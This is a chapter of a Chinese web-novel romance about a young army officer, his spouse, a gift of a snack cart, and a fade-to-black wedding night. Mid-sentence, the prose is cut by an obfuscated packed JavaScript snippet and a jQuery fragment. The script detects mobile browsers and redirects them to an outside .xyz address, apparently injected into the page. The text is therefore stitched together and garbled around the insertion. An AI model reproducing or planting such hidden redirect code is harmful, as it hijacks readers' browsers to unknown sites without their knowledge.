午后阳光正好,国营饭店门口的梧桐树在微风中沙沙作响,在地上投下斑驳的光影。
“爸妈,我送你们去车站。”许之然掏出车钥匙,却被夏柳拦下。
“不用了,你们小两口自己回去。”夏柳温柔地拉过温团团的手,替他整理了下被风吹起的秀发,“团团今天累了吧?回去好好休息。”
温团团摇摇头,阳光透过树叶的缝隙落在他脸上:“不累的,妈。”他睫毛轻颤,在阳光下泛着淡淡的金色。
夏柳忍不住伸手抱了抱他,温团团身上带着淡淡的栀子花香。
“你们两个一定要好好生活。”夏柳松开他时,眼里满是不舍。
许志刚拍拍儿子的肩,又对温团团点点头:“之然要是欺负你,就跟爸说。”
许之然无奈地挑眉,伸手自然地揽过温团团的肩:“走了。”
吉普车行驶在树影斑驳的马路上,车窗半开,带着花香的暖风徐徐吹进来。
温团团靠在座椅上,乌黑的长发被风吹得轻轻飘动,有几缕调皮地黏在红唇边,他随手拨开,从口袋里摸出饭店临走时送的橘子。
“要吃吗?”他剥开橘子,橘皮的清香顿时在车内弥漫开来。
许之然单手握着方向盘,摇了摇头:“你吃。”
温团团掰下一瓣放进嘴里,顿时酸得蹙起眉头,阳光透过车窗照在他微微皱起的小脸上,长睫在脸颊上投下细碎的阴影。
他眼珠一转,突然计上心来。
“这个好甜!”他装作惊喜的样子,挑了一瓣看起来最酸的递到许之然嘴边,“你尝尝?”
许之然侧头看了一眼,就着温团团的手将橘子含进嘴里,他面不改色地咀嚼几下,喉结滚动:“嗯,很甜。”
温团团惊讶地眨眨眼,阳光映得他琥珀色的眸子格外透亮。
难道只有自己那瓣是酸的?他半信半疑地又掰了一瓣放进嘴里。
“啊!好酸!”他整张小脸都皱了起来,像只被柠檬酸到的小猫,“许之然你骗我!”
许之然低笑出声,阳光勾勒出他俊朗的侧脸轮廓:“小坏蛋,谁让你先骗我的?”
温团团气鼓鼓地瞪他,红唇在阳光下泛着水润的光泽,许之然余光瞥见,眸色渐深。
车停在大院门口时,温团团还记着仇,他故意慢吞吞地下车,站在树荫下不动:“我生气了。”
许之然锁好车,转身看他,阳光在他肩头洒下一片金色:“那怎么办?”
“要背。”温团团仰起小脸,阳光落在他眼睛里,像是盛满了两颗太阳。
许之然挑眉,二话不说走到他面前蹲下:“上来。”
温团团欢快地扑上去,双臂环住许之然的脖子。
许之然稳稳地托住他的腿弯,轻松地站起身,阳光透过树叶的缝隙,在他们身上投下斑驳的光影。
“许连长,这是怎么了?”路过的张大爷笑着问。
“媳妇儿脚疼。”许之然面不改色。
正在院子里浇花的李婆婆放下水壶打趣:“哎哟,咱们许连长还是个妻管严呢!”
许之然不但不恼,反而迎着阳光骄傲地扬了扬眉:“我就是妻管严。”
温团团羞得把脸埋在他背上,阳光晒得他耳尖发烫,他能感受到许之然背部结实的肌肉,随着步伐微微起伏,温暖又安心。
树影婆娑,将两人的影子拉得很长。
许之然的步伐稳健有力,温团团趴在他背上,小声说:“放我下来吧,别人都看着呢...”
“现在害羞太晚了,让他们看。”许之然侧头,阳光在他刚毅的轮廓上镀了层金边,“我背自己媳妇,天经地义。”
温团团抿唇笑了,收紧环住他脖子的手臂,在无人的转角处,偷偷亲了亲许之然被阳光晒得微热的耳垂。
许之然脚步一顿,声音陡然低沉:“温团团。”
“嗯?”温团团故作不解,偷笑着问道。
“回家再收拾你。”许之然两手托着自家妻子的双腿,特意向上颠了颠。
温团团红着一张脸,半天说不出来话,真是道高一尺,魔高一丈。
自不量力却自诩聪明的小猫总是妄想挑战大魔王,但下场往往都是被大魔王吃得渣都不剩。
树影斑驳的小路上,许之然背着温团团刚拐过转角,就看见两个年轻的小兵正站在家门口,手里还拿着工具叮叮当当地忙活着。
温团团好奇地探出头,阳光透过树叶的缝隙落在他脸上,映得那双含着水光的眸子格外明亮。
他眨了眨眼,待看清那两个小兵在组装什么时,顿时愣住了。
那是一个崭新的小吃推车,木板被磨得光滑平整,五金件闪着锃亮的光,底下还装着四个结实的橡胶轮子。
“这是......”温团团的声音有些发颤,下意识抓紧了许之然的肩膀。
许之然将他轻轻放下来,温热的手掌在他发顶揉了揉:“不是说要摆摊吗?”他的声音低沉温柔,带着几分宠溺,“我托后勤部的小子们帮忙做的。”
温团团站在原地,阳光洒在他身上,勾勒出纤细的轮廓。
他红唇微张,长睫轻颤着,像是被这突如其来的惊喜震住了。
那两个小兵见状,立刻立正敬礼:“报告连长,任务完成!”
许之然点点头:“辛苦了。”
等两个小兵离开,温团团还站在原地没动。许之然刚想开口,就见他突然扑了过来,一头扎进自己怀里。
“你怎么对我这么好呀......”温团团的声音闷闷的,带着明显的哭腔。
许之然低头,看见怀里的人眼圈通红,晶莹的泪珠挂在睫毛上要掉不掉,鼻尖也泛着淡淡的粉色,像只受了委屈的小兔子。
他心头一软,低头吻了吻温团团的发顶,然后捧起那张湿漉漉的小脸。
“因为你值得。”许之然用拇指轻轻擦去他脸上的泪痕,声音低沉而坚定,“温团团是世界上最棒的小孩,值得被所有人爱着。”
温团团仰着脸,泪水模糊了视线,却依然能看清许之然眼中毫不掩饰的温柔与爱意。
“我不是小孩了......”他抽抽搭搭地反驳,声音软得不像话。
许之然低笑一声,指腹蹭过他泛红的眼尾:“嗯,不是小孩了,是许太太。”
温团团破涕为笑,阳光落在他的泪痕上,折射出细碎的光。
他踮起脚尖,在许之然唇上轻轻啄了一下:“谢谢老公。”
许之然眸色一暗,扣住他的后脑加深了这个吻。
微风吹过,带来远处槐花的香气,推车上的五金件在阳光下闪闪发亮。
一吻结束,温团团气喘吁吁地靠在许之然胸前,突然想起什么似的抬起头:“那我们现在就去买食材吧!明天就出摊!”
许之然看着他亮晶晶的眼睛,无奈又宠溺地点头:“好。”
他们的影子紧紧依偎在一起,新做的小推车静静立在门前,等待着装满幸福的明天,他们手拉手一起去卖食材。
暮色朦胧,温团团和许之然才拎着大包小包从集市回来。
晚风轻拂,温团团耳尖泛红,手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479068|169993||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指无意识地绞着塑料袋的提手。
许之然走在他身后半步,手里提着重物,目光落在那截若隐若现的雪白后颈上,喉结不自觉地滚动。
“我、我先去洗澡......”刚进家门,温团团就低着头往浴室跑。
许之然望着他仓皇的背影,嘴角勾起一抹意味深长的笑。
浴室里水汽氤氲,温团团站在花洒下,温热的水流冲刷着他泛红的肌肤。
他低头看着自己微微发抖的手指,心跳快得几乎要跃出胸腔,想到即将发生的事,他羞得连脚趾都蜷缩起来,在水雾中泛着可爱的粉色。
磨蹭了许久,温团团才裹着宽松的睡衣出来。
发梢还滴着水,在棉质睡衣上晕开深色的水痕,他轻手轻脚地走进卧室,从抽屉里取出许之然给他买的雪花膏。
铁盒打开,栀子的淡雅香气在空气中弥漫。温团团挖了一小块,指尖点在锁骨上,慢慢推开。
微凉的膏体在体温下融化,顺着肌肤的纹理晕染开来,他涂得很仔细,从修长的脖颈到精致的锁骨,再到纤细的腰肢......每一寸肌肤都被温柔以待。
“咔嗒”一声,浴室的门开了,温团团手一抖,雪花膏差点掉在地上。
他慌乱地抬头,看见许之然站在门口,上半身赤裸着,水珠顺着结实的胸膛滑落。
那双深邃的眼睛里燃着炽热的火焰,直勾勾地盯着他。
“涂好了吗?”许之然的声音低哑得不像话,一步步向他走来。
温团团咽了咽口水,手指无意识地揪紧了睡衣下摆:“还、还没......”
许之然在他面前蹲下,接过雪花膏:“我帮你。”
粗粝的指腹沾着雪花膏,轻轻抚上他的小腿,温团团浑身一颤,差点惊叫出声。
许之然的动作很慢,像是在对待什么珍贵的宝物,从纤细的脚踝到匀称的小腿,再到......
“许之然......”温团团的声音带着哭腔,手指紧紧抓住床单。
许之然抬头,看见他泛红的眼眶和微微发抖的唇瓣,眼神一暗。
他猛地将人打横抱起,轻轻放在床上。雪花膏的铁盒“啪”地掉在地上,在寂静的夜里格外清晰。
“怕吗?”许之然俯身,在他耳边低语。
温团团摇摇头,又点点头,最后羞得把脸埋进枕头里,许之然低笑一声,温柔地吻上他的后颈。
这一夜,老旧的小木床吱呀作响,像是羞怯的叹息。
温团团觉得自己就像这张床,被拆了又装,装了又拆。
吻落遍全身,在雪白的肌肤上留下朵朵红梅。
晨光熹微时,温团团瘫软在床上,连指尖都泛着淡淡的粉色。
他艰难地动了动身子,顿时疼得倒吸一口凉气,特别是大腿内侧,酸软得几乎抬不起来。
许之然从身后拥住他,在布满红痕的肩头落下一吻:“再睡会儿。”
温团团迷迷糊糊地想,这床的声音,好响……
晨光中,许之然凝视着怀中人恬静的睡颜,心脏空缺的那一块早已被柔软的爱意补齐。
温团团的长发凌乱地铺散在枕上,浓密的睫毛在眼下投下一片阴影,红唇微微肿起,看起来更加诱人。
他的睡姿乖巧,锁骨和颈间那些暧昧的红痕无声地诉说着昨夜的疯狂。
许之然轻轻拨开黏在温团团脸颊上的发丝,指尖流连在那张精致的脸上。
他从未想过,自己会如此珍视一个人,珍视到连呼吸都小心翼翼,生怕惊扰了他的美梦。